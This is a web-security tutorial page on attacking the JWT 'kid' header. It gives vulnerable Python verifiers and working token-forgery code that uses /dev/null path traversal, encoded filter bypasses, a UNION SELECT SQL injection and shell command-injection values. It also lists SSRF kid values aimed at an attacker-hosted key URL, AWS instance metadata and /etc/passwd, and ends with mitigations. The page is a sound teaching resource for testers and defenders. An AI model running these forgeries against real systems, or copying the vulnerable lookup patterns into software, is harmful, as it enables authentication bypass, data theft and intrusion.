KID Injection

The kid header selects which key to use. Unsanitised, it becomes a path traversal, SQL injection, or SSRF vector.

The key ID parameter

The kid (Key ID) header parameter is defined in RFC 7517 §4.5 as an optional hint identifying which key the issuer used to sign the token. It allows a server that manages multiple keys (e.g., for key rotation) to look up the correct verification key without trying each one.

The specification is deliberately vague about the format: "The structure of the kid value is unspecified." In practice, implementations resolve it against a filesystem path, a database row, an in-memory keystore, or even a URL - and when this resolution is performed with attacker-supplied input without sanitization, the consequences range from authentication bypass to server-side code execution.

Path traversal variant

When the server resolves kid as a filesystem path to load the signing key, path traversal sequences allow the attacker to substitute any readable file on the server as the "key." Two particularly useful targets are:

  • /dev/null (Linux) - reads as an empty string; sign with an empty HMAC secret
  • /proc/self/cmdline - process command line; predictable on known environments
  • Any world-readable static file with known content - sign with that file's bytes as the HMAC secret
Vulnerable server (Python)
import jwt, os

def verify_token(token: str):
    header = jwt.get_unverified_header(token)
    kid = header.get("kid", "default")

    # VULNERABLE: kid used directly as file path
    key_path = f"/var/keys/{kid}"
    with open(key_path, "rb") as f:
        key = f.read()

    return jwt.decode(token, key, algorithms=["HS256"])
Attack - /dev/null traversal
import base64, hmac, hashlib, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

# kid that traverses to /dev/null → empty key
header  = b64url(json.dumps({"alg": "HS256", "kid": "../../dev/null"}))
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}))

# Sign with empty string (contents of /dev/null)
sig = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
print(token)  # Server will load /dev/null as key → verify passes

Filter bypass

When the server strips ../ sequences before resolving the path, several encoding tricks can bypass single-pass sanitizers:

Filter bypass variants
# ....// collapses back to ../ after one pass of stripping
"kid": "....//....//....//....//....//....//dev/null"

# Fully URL-encoded - bypasses string-matching filters
"kid": "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fdev%2fnull"

# Double URL-encoded - %25 decodes to %, making %252f -> %2f -> /
"kid": "..%252f..%252f..%252f..%252f..%252f..%252fdev%252fnull"

SQL injection variant

When the server queries a database for the key using the kid value, SQL injection allows the attacker to make the query return an arbitrary value - one they control. By injecting a UNION SELECT, they can make the key lookup return any string, then sign the forged token with that same string as the HMAC secret.

Vulnerable server - SQL query
import sqlite3, jwt

def verify_token(token: str):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]

    # VULNERABLE: unsanitized interpolation into SQL
    conn = sqlite3.connect("keys.db")
    row = conn.execute(f"SELECT key_value FROM keys WHERE id = '{kid}'").fetchone()
    if not row:
        raise ValueError("Key not found")

    return jwt.decode(token, row[0].encode(), algorithms=["HS256"])
Attack - SQLi via kid
# Target: SELECT key_value FROM keys WHERE id = '<kid>'
# Inject: close the string, add UNION SELECT with known value

# Payload: kid = "x' UNION SELECT 'pwned'--"
# Resulting query: SELECT key_value FROM keys WHERE id = 'x'
#                  UNION SELECT 'pwned'--'
# Returns: 'pwned'

inject = "x' UNION SELECT 'pwned'--"
header  = b64url(json.dumps({"alg": "HS256", "kid": inject}))
payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))

# Sign with "pwned" - the value we injected via SQL
sig = hmac.new(b"pwned", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
Stacked queries and out-of-band exfiltration
Depending on the database driver, stacked queries (; DROP TABLE keys--) or out-of-band channels (DNS lookups via load_file() in MySQL) may also be possible. The kid SQLi surface is often unmonitored since it is not a typical API endpoint.

Command injection variant

In rare cases, the server passes kid directly to a shell command to retrieve the key (e.g., via exec(), popen(), or a scripting language's system()). The goal is not arbitrary execution but making the command output a value the attacker already knows, so the token can be signed with that value as the HMAC secret.

Command injection via kid
# Target: server runs something like: key = exec(f"get-key {kid}").stdout
# Inject a command that outputs a known string

# Semicolon chain
"kid": "; echo 'secret'"
# Pipe
"kid": "| echo 'secret'"
# Command substitution (backtick or $())
"kid": "`echo secret`"
"kid": "$(echo secret)"

# Sign the forged token with the injected value
sig = hmac.new(b"secret", signing_input, hashlib.sha256).digest()
Scope of impact
This vector is rarer than path traversal or SQLi since it requires the server to execute the kid value as a shell command. If confirmed, the severity is high: arbitrary command execution may be possible beyond simple key control.

SSRF via URL-type kid

Some implementations accept a full URL in the kid field and fetch the key from it - treating kid as a JKU-equivalent. This creates an SSRF vector:

URL-type kid → SSRF
# kid: "https://attacker.example.com/key.pem"
# Server fetches the URL and uses its content as the signing key
# Attacker hosts a key they control → full token forgery

# Also useful for SSRF to internal services:
# kid: "http://169.254.169.254/latest/meta-data/"  → AWS IMDS
# kid: "file:///etc/passwd"                        → file read (some implementations)

The empty string / null byte trick

When path traversal to /dev/null is not directly possible but the key lookup returns an empty value for a non-existent kid, some libraries will verify the signature against an empty key. Sign the forged token with an empty HMAC secret:

Empty key signature
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
# Works when: server loads key="" for missing kid, and library accepts empty secret
Where to look
  • API gateways and identity middleware that load signing keys dynamically from disk or database using the kid value
  • Home-rolled JWT libraries that pass kid directly into a file path or SQL query without sanitization
  • Multi-tenant platforms with key rotation logic - the kid lookup is often implemented as a fast path without security review
  • Any target where you can observe different error messages for an existing vs. non-existing kid - strong signal of unsanitized resolution

Mitigations

  • Validate kid against an allowlist of known key identifiers - reject anything not in the list
  • Never use kid as a direct database query parameter without parameterised queries
  • Never resolve kid as a filesystem path; use it only as a map key into a pre-loaded in-memory keystore
  • Reject kid values containing path separators, SQL metacharacters, or URL schemes
  • If URL-type kid is required, enforce a strict allowlist of trusted domains
GitHub